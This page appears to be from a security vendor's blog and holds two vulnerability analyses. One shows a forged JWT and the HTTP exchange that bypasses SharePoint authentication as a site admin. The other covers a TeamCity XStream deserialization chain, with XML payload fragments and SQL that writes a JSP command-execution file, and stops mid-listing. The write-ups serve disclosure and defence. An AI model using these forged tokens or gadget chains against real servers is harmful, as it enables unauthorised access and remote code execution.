                  85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
                  47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
                  88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
                  7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
                  82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
                  a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
                  8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
                  b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
                  d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
                  0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
                  27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
                  a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
                  5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
                  82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
                  3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
                  48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
                  a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
                  54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
                  62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7

Extensions
  keyUsage CRITICAL:
    digitalSignature,keyEncipherment
  extKeyUsage :
    serverAuth, clientAuth
  basicConstraints CRITICAL:
    {}

Using the above x509 certificate, we can compute the x5t by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an x5t value of i_gz5qfYp5YPWAK1__0YhZnipLI. We can also see we discover the target realm (af90cc03-4a26-45e9-906a-609cebcebbde) which we will use later in the forged JWT.

We then begin to construct the malicious JWT. The outer token will have a header of:

{"alg": "none", "typ": "JWT"}

The payload is shown below. The audience (aud) claim contains the target systems hostname (win-b0i6kv698ls) and realm. The issuer (iss) claim is 00000003-0000-0ff1-ce00-000000000000 which is the well known SharePoint principal application ID. The Name ID (nameid) represent the SharePoint user we will identify as, in our example we use a SID of S-1-5-21-4203888158-2793536450-3921675298-500 which represent the domain admin that we want to authenticate as using the urn:office:idp:activedirectory identity provider. Finally an inner actortoken token is base64 encoded.

As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain's Domain ID value. Then by appending Relative Identifier (RID) values (e.g. 500, 1000, 1001, 1002, ...) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. administrator@domain.local or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN's, which is best suited to manual reconnaissance.

{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}

Inspecting the inner actortoken token, it will have a header as shown below, which includes the x5t value i_gz5qfYp5YPWAK1__0YhZnipLI corresponding to the SharePoint server's STS signing certificate.

{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}

The inner actortoken token will have a payload as shown below. Note the nameid of this token is the same as the issuer of the STS certificate, this allows a call to SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer to succeed.

{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}

And a signature which is an arbitrary non-empty string:

AAAA

Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as /_api/web/currentuser and prove we are authenticating as a SharePoint user.

GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose


The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned IsSiteAdmin value is true).

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 12
SPRequestDuration: 83
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
request-id: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}

To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the /_api/contextinfo endpoint.

POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0

Whose response contains a new FormDigestValue we can begin to use.

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=minimalmetadata;streaming=true;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 4
SPRequestDuration: 17
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
request-id: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}

With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7's Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

Before yesterdayRapid7 Cybersecurity Blog

Rapid7 Analysis: Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)

7 August 2026 at 10:32

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.

JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.

Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.

Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.

Analysis

Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.

TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.

XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.

Patch diff

The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:

// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // <--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // <--- [2]
}

The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.

The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:

+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
+        xStream.addPermission(NoTypePermission.NONE);    // <--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }

The patched initializer turns the new behavior on before it populates the static allowlist:

 public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // <--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }

XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.

Root cause

The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.

The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.

Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.

Triggering the vulnerability

First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.

The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.

The gadget chain

The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:

  1. The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.

  2. A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().

  3. Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.

  4. The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.

  5. The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.

The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.

Object graph construction

The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.

figure1.png

Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().

The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.

Entry one: construct and configure the datasource

The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.

The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:

<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  <outer-class>
    <myHSQLStorage>
      <myDataSource>
        <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
        <url>jdbc:hsqldb:mem:<random></url>
        <userName>SA</userName>
        <connectionInitSqls>
<!-- attacker-controlled HSQLDB statements -->
</connectionInitSqls>
      </myDataSource>
    </myHSQLStorage>
  </outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>

XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.

Entry two: expose the datasource through FreeMarker

The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.

The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:

<freemarker.ext.beans.HashAdapter>
  <wrapper>
    <!-- Class-introspection state from the PoC is omitted here. -->
    <falseModel>
      <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
      <wrapper reference="../.."/>
      <value>false</value>
    </falseModel>
    <!-- Remaining BeansWrapper state from the PoC is omitted here. -->
  </wrapper>
  <model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>

The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.

Entry three: trigger the property lookup

The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:

<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.

Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.

Triggering gadget execution

A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.

The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().

A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.

The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:

CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'

HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.

Executing a JSP payload

Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:

<servlet>
  <servlet-name>realJspServlet</servlet-name>
  <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>realJspServlet</servlet-name>
  <url-pattern>*.jspws</url-pattern>
</servlet-mapping>

<servlet-mapping>
